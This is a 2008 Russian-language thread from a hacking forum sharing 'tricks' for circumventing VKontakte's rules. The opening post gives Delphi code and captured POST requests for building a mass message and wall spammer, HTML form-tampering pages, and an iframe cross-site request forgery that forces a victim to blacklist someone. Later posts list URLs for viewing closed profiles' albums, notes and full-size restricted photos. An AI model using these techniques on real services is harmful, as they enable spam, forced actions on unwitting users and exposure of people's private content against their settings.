Вернуться   GraBBerZ.CoM - ICQ | Proxy | Бруты | Дедики | Эксплоиты > Все о социальных сетях > ВКонтакте

Ответ
 
Опции темы Опции просмотра

Фишки Вконтакте или как обойти правила Вконтакте
Старый 21.08.2008, 04:36   #1
 
Аватар для AeT
 
AeT вне форума
Регистрация: 17.05.2008
Адрес: Украина
Сообщений: 410
Респекты: 871
Сообщение

Фишки Вконтакте или как обойти правила Вконтакте

Мелкие пакости vkontakte.



Привет, в этой статье хочу рассказать Вам о мелких пакостях в популярной российской социальной сети "Вконтакте".

Для кого-то потребуется дельфи 6,7/ C/ php.. для отправки пакетов.
Так же можно использовать программу inetCrack, в которой уже реализован метод приёма и передачи TCP пакета.

1. Спам по личкам.

{маленький пример на дельфи}

Создаём форму и закидываем на неё ClientSocket\ServerSocket\Memo1\Memo2\Button1\Butt on2

Цитата:
{создаём сервер}
procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.Port:=1488;
ServerSocket1.Active:=true;
memo1.Clear;
memo2.Clear;
button1.Caption:='подкл.';
button2.Caption:='посылаем';
end;

{будем принимать данные с 8888 порта в memo1}
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo1.Lines.Text:=socket.ReceiveText;
end;

{активируем клиент}
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:='vkontakte.ru';
ClientSocket1.Port:=80;
ClientSocket1.Active:=true;
end;

{посылаем данные}
procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(memo1.Lines.Text);
end;

{ответ от vkontakte.ru будет в memo2}
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo2.Lines.Text:=socket.ReceiveText;
end;
Заходим http://vkontakte.ru/mail.php?act=write, указываем тему и текст сообщения.
Далее настраиваем браузер через веб прокси 127.0.0.1:1488
Компилируем и запускаем проект, а в браузере тыкаем кнопку отправить.. в memo1 появится пакет, который посылает ваш браузер. {упрощённый вариант}
Нажимаем кнопку отправить, тем самым мы отправляем сообщение по указанному адресату.

Пример пакета:

Цитата:
POST http://vkontakte.ru/mail.php HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)
Host: vkontakte.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Cookie: remixInformation=1; remixAdminsBar=0; remixforums=1; remixlang=0; remixGroupType=0; remixourEvents=1; remixRecentNews=1; remixfriends=1; remixopinions=1; remixfriendsOnline=1; remixastatus=1; remixvideos=0; remixnotes=1; remixfriendsCommon=1; remixlinksBar=1; remixaudios=1; remixpersonal=0; remixwall=1; remixmid=452418; remixemail=fuck%40mail.ru; remixpass=872486652hf34124; remixalbums=1; remixref=452418; remixchk=5; remixeducation=0; remixclosed_tabs=0; remixfilters=279; remixautobookmark=14
Cookie2: $Version=1
Proxy-Connection: close
Content-Length: 121
Content-Type: application/x-www-form-urlencoded

act=sent&misc=1&to_reply=0&to_ids%5B%5D=3116221&me mbers_name=&to_id=
3116221&title=111111111&toFriends=1&message=222222 222
Рассматриваем последнюю строку, "act=sent&misc=1&to_reply=0&to_ids%5B%5D=3116221&m embers_name=&to_id=
3116321&title=111111111&toFriends=1&message=222222 222"
to_id=3116321&title=111111111&toFriends=1&message= 222222222

Тут всё предельно просто, для того, что бы написать спамер, нужна смена последней строки и посылка пакета.
Так же не забывайте учитывать Content-Length: 121 - кол-во символов последней строки. По аналогии можно спамить и стены.


2. Автоматическая смена имя&фамилия&ник

Действуем так же.

Пример пакета:


Цитата:
POST http://vkontakte.ru/settings.php HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)
Host: vkontakte.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Cookie: remixInformation=1; remixAdminsBar=0; remixforums=1; remixlang=0; remixGroupType=0; remixourEvents=1; remixRecentNews=1; remixfriends=1; remixopinions=1; remixfriendsOnline=1; remixastatus=1; remixvideos=0; remixnotes=1; remixfriendsCommon=1; remixlinksBar=1; remixaudios=1; remixpersonal=0; remixwall=1; remixmid=452418; remixemail=fuck%40mail.ru; remixpass=872486652hf34124; remixalbums=1; remixref=452418; remixchk=5; remixeducation=0; remixclosed_tabs=0; remixfilters=279; remixautobookmark=14
Cookie2: $Version=1
Proxy-Connection: close
Content-Length: 145
Content-Type: application/x-www-form-urlencoded

act=change_name&hash=7013d90741dh5711284841182&nic kname=
Noctambulaar&subm=1&first_name=myfirstname&last_na me=mylastname
Надеюсь у Вас получится написать автосмену, как у меня, рэндом nick\first\last каждую секунду. хD

3. Украшательства вашего клуба
В этом случае приведу html пример.

В сточке <input type="hidden" name="gid" id="gid" value="874628"> подставьте свой id клуба.

group.html:
group.html
Что я добавил?
Я изменил input на textarea, тем самым, в названии можно использовать перенос строки. {<br> or \n}
4. Меняем поля в своём профиле.
У себя я изменил поле Религия по примеру 3., все делается по аналогии, input заменяем на textarea.

5. Дата рождения.
В моём профиле дата рождения установлена 111111. Привожу html пример.

Заходим http://vkontakte.ru/profileEdit.php смотрим текст страницы, ищем <input type="hidden" name="hash" id="hash" value=" и заменяем всю строку на строку из html примера, который ниже

sploit.html
sploit.html
выбираем дату 31 Мая 66666 года.

По аналогии переноса строки можно надругаться над всем.

6. Закачка картинки вместо граффити.
{готовая реализация}
http://www.polus.com.ru/vkontakte.php
http://www.zilmar.com/viewpage.php?page_id=4

7. Чёрный список.
Хотите, что бы нужный человек добавил другого в черный список?
Посылаем человека на страницу с таким кодом.

black.html
Код HTML:

Цитата:
<iframe src=http://vkontakte.ru/settings.php?act=addToBlackList&id=1125629>
id конечно же меняем. По аналогии можно много что сделать.
Заметил только в:
http://vkontakte.ru/groups.php {фильтр групп}
http://vkontakte.ru/friend.php там в кубиках ВсеСемьяВузШкола скрипт сохраняется.

8. Смотрим альбомы в закрытом профиле
Для этого нужен id пользователя.
http://vkontakte.ru/photos.php?act=open&id=[сюда пишем его id]
(c)exploit.in
__________________
Человек, говорящий что это невозможно сделать, не должен мешать тому, кто это делает.
  Ответить с цитированием

Старый 21.08.2008, 19:27   #2
.:в армии:.
 
Аватар для amfetamin
 
amfetamin вне форума
Регистрация: 19.02.2007
Адрес: Москва
Сообщений: 611
Респекты: 1,757
Семейное положение можно делать пустое (так же Родной город: Религ. взгляды: ). Регать акк только с одним именем (без фамилии). Регать акк имя в столбик.Статус в столбик писать. Название фотоальбома в столбик. Безымянный фотоальбом. Название видео в столбик

Цитата:
Поменял дату рожденияКЛАЦ
Молодец а теперь попробуй сделать что бы там было пусто .
  Ответить с цитированием

Старый 22.08.2008, 18:51   #3
bit
 
Аватар для Socratis
 
Socratis вне форума
Регистрация: 11.09.2007
Сообщений: 6
Респекты: 1
1. Захожу на http://vkontakte.ru/profileEdit.php
2. В Опере нажимаю "Исходный текст". Нахожу там строку <input type="hidden" name="hash" id="hash" value="d0e4fe4">
3. Заменяю её на ту которая в примере <input type="hidden" name="hash" id="hash" value="5237ы31">
4. Редактирую точно так же как в примере (31 Мая 66666 года).
5. "Применить изменения" > Сохранить > и все остается на своих местах. Дата не меняется. В чем дело, непойму. Может уже прыкрыли?
  Ответить с цитированием

Старый 22.08.2008, 19:44   #4
kilobyte
 
Аватар для Yanush
 
Yanush вне форума
Регистрация: 09.04.2008
Сообщений: 178
Респекты: 282
Цитата:
Сообщение от Socratis Посмотреть сообщение
1. Захожу на http://vkontakte.ru/profileEdit.php
2. В Опере нажимаю "Исходный текст".
После этого ищи строку
PHP код:

<option  value="1">1</option
заменяй цифры в на нужную дату (например 33) и вставляй после строки
PHP код:

<option  value="33">33</option
Должно получиться что то типа такого
PHP код:

  <option  value="30">30</option>

           <
option  value="31">31</option>
           <
option  value="33">31</option>
          </
select
теперь меняем год рождения
Находим
PHP код:

<option  value="1920">1920</option
Заменяем 1920(в 2 местах) на нужный год(например 2222).Вставляем в конец.Получиться
PHP код:

option  value="1922">1922</option><option  value="1921">1921</option><option  value="1920">1920</option><option  value="2222">2222</option
Жмем применить изменения.Теперь на странице http://vkontakte.ru/profileEdit.php выбираем дату рождения.в самом конце списка появится число 33.Аналогично поступаем с годом.жмем применить.Все.ПРИМЕР
  Ответить с цитированием
Юзеру Yanush выразили Респект за этот пост:

Старый 23.08.2008, 22:03   #5
bit
 
Аватар для Socratis
 
Socratis вне форума
Регистрация: 11.09.2007
Сообщений: 6
Респекты: 1
Ура! Получилось! Спасиба ВСЕМ кто помогал! http://vkontakte.ru/id11775043?52949
  Ответить с цитированием

Старый 25.08.2008, 16:30   #6
bit
 
Аватар для Hollandes
 
Hollandes вне форума
Регистрация: 06.07.2008
Сообщений: 31
Респекты: 7
id=11775043:
Цитата:
Имя: Денис Монатко
Выпуск: НЮАУ им. Ярослава Мудрого '09
Факультет: (№1) Подготовки кадров для органов прокуратуры
Socratis, ты здесь кадры ищешь???

Кроме даты рождения сменил себе кафедру в вузе, а то моей не было. Работает супер! Автору респект
  Ответить с цитированием

Старый 27.08.2008, 01:17   #7
byte
 
Аватар для zx
 
zx вне форума
Регистрация: 22.06.2008
Сообщений: 95
Респекты: 38
4NT1P0V, как ты все же решил проблему с анимацией?
Если я загружаю gif он преобразовывается в jpg и нет смены картинок
  Ответить с цитированием

Старый 27.08.2008, 01:56   #8
.:в армии:.
 
Аватар для amfetamin
 
amfetamin вне форума
Регистрация: 19.02.2007
Адрес: Москва
Сообщений: 611
Респекты: 1,757
Цитата:
Все это супер, но только меня мучает один вопрос
http://vkontakte.ru/club218165
Как сделать тоже чтоб картинка была анимированная?????
Цитата:
4NT1P0V, как ты все же решил проблему с анимацией?
Если я загружаю gif он преобразовывается в jpg и нет смены картинок
Примерно год назад можно было загружать gif картинки, щас такую бадягу прикрыли.
  Ответить с цитированием

Старый 25.10.2008, 19:57   #9
 
Аватар для AeT
 
AeT вне форума
Регистрация: 17.05.2008
Адрес: Украина
Сообщений: 410
Респекты: 871
Наверное многие видели большие названия групп контакта
короче это делается так:


Заходим через оперу и редактируем название, нажимаем ctrl+F3 и ищем название группы а над ним <input type='text' class='inputText' id='name' name='name' maxlength='100' size='50' autocomplete='off' это мы выделяем и заменяем на <textarea name="name" style="width:200px;height:100px"></textarea>.
само название группы снизу удаляем и нажимаем применить изменения.
мы оказываемся на странице редактирования названия группы и в поле название вписываем её название.
чтоб она выделялась жмем к примеру 2 раза ентер потом название группы и снова 2 раза ентер и затем сохранить.

Собственно пример, обычное название группы


Большое название




Что это даст?
В вашу группу пойдет больше народа и она будет выделяться в общем потоке!
А больше народа пойдёт из-за того,что у вас особенное название группы.

Вообщем может кому и пригодится.
__________________
Человек, говорящий что это невозможно сделать, не должен мешать тому, кто это делает.
  Ответить с цитированием
Юзеру AeT выразили Респект за этот пост:

Старый 28.10.2008, 15:50   #10
 
Аватар для AeT
 
AeT вне форума
Регистрация: 17.05.2008
Адрес: Украина
Сообщений: 410
Респекты: 871
Вставка музыки в заметку

Итак.
1. Заходим в поиск по аудио: .../audio.php
2. Там пишем что-нибудь, например "perhaps".
3. Находим нужную песню и копируем ссылку на её добавление, например
.../audio.php?act=add&add=1&gid=0&aid=1050244&oid=5986 60&hash=e228e102354ad238963b3d2d35b91c95
4. Вырезаем оттуда число, идущее после
&oid=
и число после
&aid=
И вставляем эти числа в текст [[audio*_**]] , где * - число после oid, а ** - число после aid.
5. Вуаля. Должно получиться что-то вроде [[audio598660_1050244]]
Пример успешной вставки у меня в записи "Как вставить музыку в заметку"


Скрипт для удаления со всех фоток

Тестировался под Firefox 3 RC1. Под IE вроде не пашет, проверьте работу под Оперой

---
UPD:
используйте скрипт на свой страх и риск...
---
1. заходим на страницу "Фотографии со мной"

2. копируем этот скрипт в нее и нажимаем Enter, предварительно убираем пробел в "jav ascript" и звёздочку после "javascript:"

Код HTML:
jav ascript:*(function()%20{function%20getMyID(){var%2  0anchs%20=%20document.getElementsByTagName("a");for(i%20=%200;%20i%20<%20anchs.length;%20i++){%20if(res%20=%20/id(\d+)/.exec(anchs[i].href))%20return%20res[1];}return%200;}function%20getAllMyPhotos(){var%20a%  20=%20document.getElementsByTagName("a");var%20re%20=%20new%20RegExp("act=show&id=([0-9_]+)&uid="+window.se_myid);var%20retVal%20=%20new%20Array();  for(i%20=%200;%20i%20<%20a.length;%20i++){if(res%20=%20re.exec(a[i].href))%20retVal.push(res[1]);}return%20retVal;}function%20createRequestObject  (){if%20(window.XMLHttpRequest){try{return%20new%2  0XMLHttpRequest();}catch%20(e){}}%20else%20if%20(w  indow.ActiveXObject){try{return%20new%20ActiveXObj  ect("Msxml2.XMLHTTP");}%20catch%20(e){}try%20{return%20new%20ActiveXOb  ject("Microsoft.XMLHTTP");%20}catch%20(e){}}return%20null;}window.doDelete  %20=%20function(buf){var%20re%20=%20new%20RegExp("photos\\.php\\?act=user&id="+window.se_myid+"\">[^<]+<\\/a>%20\\|%20<a%20href=\"#\"%20onclick=\"return%20removeTag\\(([0-9]+)",%20"g");if(res%20=%20re.exec(buf)){req%20=%20createReque  stObject();req.open("GET",%20"http://vkontakte.ru/photos.php?act=put&tag_id="+res[1]+"&pid="+window.se_allphotos[window.se_curIndex]+"&rand="+Math.random());req.send(null);%20window.h1counter  .innerHTML%20=%20window.se_curIndex%20+%20"%20of%20"%20+%20window.se_allphotos.length%20+%20"%20photo%20tags%20have%20been%20deleted";window.se_curIndex++;window.se_timer%20=%20window  .setTimeout("window.deleteTags()",%20500);}};window.deleteTags%20=%20function(){if(  window.se_curIndex%20==%20window.se_allphotos.leng  th){window.h1counter.innerHTML%20=%20"All%20photo%20tags%20have%20been%20deleted!";window.clearTimeout(window.se_timer);return;}req%  20=%20createRequestObject();req.open("GET",%20"/photos.php?act=show&id="+window.se_allphotos[window.se_curIndex]+"&uid="+window.se_myid+"&self=1&rand="+Math.random(),%20true);%20req.onreadystatechange%  20=%20function(){try%20{if%20(req.readyState%20==%  204){if%20(req.status%20==%20200)%20doDelete(req.r  esponseText);}}catch(e){}};req.send(null);};window  .se_myid%20=%20getMyID();var%20re%20=%20new%20RegE  xp("photos\\.php\\?act=user&id="+window.se_myid);var%20ajax%20=%20null;if(!locatio  n.href.match(/vkontakte.ru/)%20||%20!location.href.match(/photos/)%20||%20!re.test(location.href)){alert("Please%20open%20the%20page%20with%20all%20your%20p  hotos");return;}%20if(!createRequestObject()){alert("Cant%20create%20AJAX-transport!");return;}if(!confirm("Are%20you%20sure%20want%20to%20delete%20photo%20ta  gs?"))%20return;window.se_allphotos%20=%20getAllMyPhot  os();window.se_curIndex%20=%200;window.h1counter%2  0=%20document.getElementsByTagName("h1")[1];%20window.se_timer%20=%20window.setTimeout("window.deleteTags()",%200);%20})()

У некоторых людей встречается вот что :
Рейтинг -5 или -30.
Это можно сделать так:

Нужно получить от админов и модеров вконтакте.ру надпись вверху страницы
"Информация на данной странице может не соответствовать действительности.". Но при этом страница должна быть заполнена на 100%
Потом начинаем удалять информацию со страницы и у нас становиться рейтинг -5% (при условии что он у нас раньше был 100%), и если удалить фотографию/аватар, то рейтинг станет -30% (при условии что он у нас раньше был 100%).

Чтобы получить надпись вверху страницы
"Информация на данной странице может не соответствовать действительности." Нужно написть в профиле что вы Тимати и отписать в какой-нибудь группе где есть админы или написать им что они дурочки.Или ставим имя фамилию типа Fuck Brain и пишем одному из админов в личку сообщение "привет".
__________________
Человек, говорящий что это невозможно сделать, не должен мешать тому, кто это делает.
  Ответить с цитированием

Старый 07.11.2008, 15:24   #11
bit
 
Аватар для myaso
 
myaso вне форума
Регистрация: 30.07.2008
Сообщений: 21
Респекты: 14
Цитата:
Сообщение от Dreel Посмотреть сообщение
http://vkontakte.ru/id745298 Как сделать подобное "Всё сложно с..." делал по аналогии с изменением даты рождения, изменяться-изменяется, а сохранить не удается.
Взял с ачата.

Записываю как женить себя на себе . Делать лучше через оперу
заходите в http://vkontakte.ru/profileEdit.php Выбераете Женат, делайте в опере просмотр хтмл кода. Ищите строки вида <option value = 'чейто номер'>Кто то там</option> вставляете свое тогда <option value = 'ваш ид'>Я</option> сохраняете страницу и выбераете в списке женат на Я. Сохранить и все Еще работает, только что проверил
  Ответить с цитированием
Юзеру myaso выразили Респект за этот пост:

Фишки Вконтакте или как обойти правила Вконтакте
Старый 28.12.2008, 18:18   #12
bit
 
Аватар для system.exe
 
system.exe вне форума
Регистрация: 15.12.2007
Адрес: Odessa
Сообщений: 9
Респекты: 8
Сообщение Фишки Вконтакте или как обойти правила Вконтакте

Фишки в контакте или как обойти правила vkontakte.

Это можно сказать взлом контакта (vkontakte hack)

1. Просмотр закрытого профиля (данные анкеты):

Для этого нам потребуется узнать ID пользователя.
Наводим курсор на ссылку “Добавить в друзья” и видим
http://vkontakte.ru/friend.php?id=цифровой_код
Этот цифровой код и есть ID пользователя.

Теперь подставляем этот код и вставляем строку в браузер.

Фотографии с пользователем:
http://vkontakte.ru/photos.php?act=user&id=цифровой_код

Фотоальбомы:
http://vkontakte.ru/photos.php?id=цифровой_код

Видеозаписи:
http://vkontakte.ru/video.php?id=цифровой_код

Заметки:
http://vkontakte.ru/notes.php?id=цифровой_код

Мнения о человеке:
http://vkontakte.ru/opinions.php?id=цифровой_код

2. Смотрим увеличенный размер фотографии, даже если это запрещено пользователем.

И так мы получили неприятную надпись:
“Вы не можете просматривать этот альбом, так как его владелец установил ограничения на просмотр для тех, кто не является его другом. Назад.“

Как же обойти этот запрет? а очень просто.

Копируем ссылку на изображение
http://cs24.vkontakte.ru/u27234114/4...2536320F3f.jpg

и замеяем первую букву в имени файла картинки на “x”

http://cs24.vkontakte.ru/u27234114/4...2536320F3f.jpg

Теперь мы видим картинку в реальном размере.
  Ответить с цитированием
Респектов за этот пост: 2

Старый 28.12.2008, 19:14   #13
fattydaddy
 
Аватар для nebes
 
nebes вне форума
Регистрация: 27.08.2008
Адрес: 63
Сообщений: 787
Респекты: 1,808
ползал по друзьям..нашел довольно таки забавную группу. Смена скина для вконтакта. сабж


Добавлено через 4 минуты
Если в тексте указан текстовый смайлик, программа заменит его на картинку. Ниже приведена таблица соответствий текстовых смайликов их картинкам.

Как это выглядит:


Установка
В зависимости от вашего браузера:


Internet Explorer: Установите расширение Turnabout. В появившейся панели «Reify» выберите «Options» > «Install feature» - укажите предварительно скачанный скрипт smileys.user.js. Чтобы скрыть панель «Reify», щелкните её правой кнопкой мышки и
уберите галочку с «Reify Toolbar».


Opera: Создайте на компьютере папку для скриптов и скачайте туда smileys.user.js. Эту папку впишите в настройках Opera (специальные расширения не требуются): «Tools» > «Preferences» > «Advanced» > «Content» > «JavaScript options» > поле «User JavaScript files» (русский: «Инструмент» > «Настройки» > «Дополнительно» > «Содержание» > «Параметры JavaScript» > поле «Мои файлы JavaScript»)
thank BigWorm
__________________
часовой магнат
  Ответить с цитированием
Юзеру nebes выразили Респект за этот пост:

Старый 31.12.2008, 16:04   #14
::GraBBerZ.CoM::
 
Аватар для MusTank
 
MusTank вне форума
Регистрация: 29.04.2007
Сообщений: 631
Респекты: 1,156
чисто случайно))

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 20 сообщение(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.
  Ответить с цитированием
Респектов за этот пост: 2

Старый 31.12.2008, 17:17   #15
bit
 
Аватар для we6
 
we6 вне форума
Регистрация: 31.12.2008
Сообщений: 5
Респекты: 1
Цитата:
Сообщение от wart_ Посмотреть сообщение
вот фишка, как делается не понимаю)
Эта флешка содержит в себе что то типа $Usera avatar
Ну таймер до нового года это понятно и салют тоже

Имя что то типа $user_name в общем ты понял наверное
  Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход



Время: 18:36



Powered by vBulletin® Version 3.7.6
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot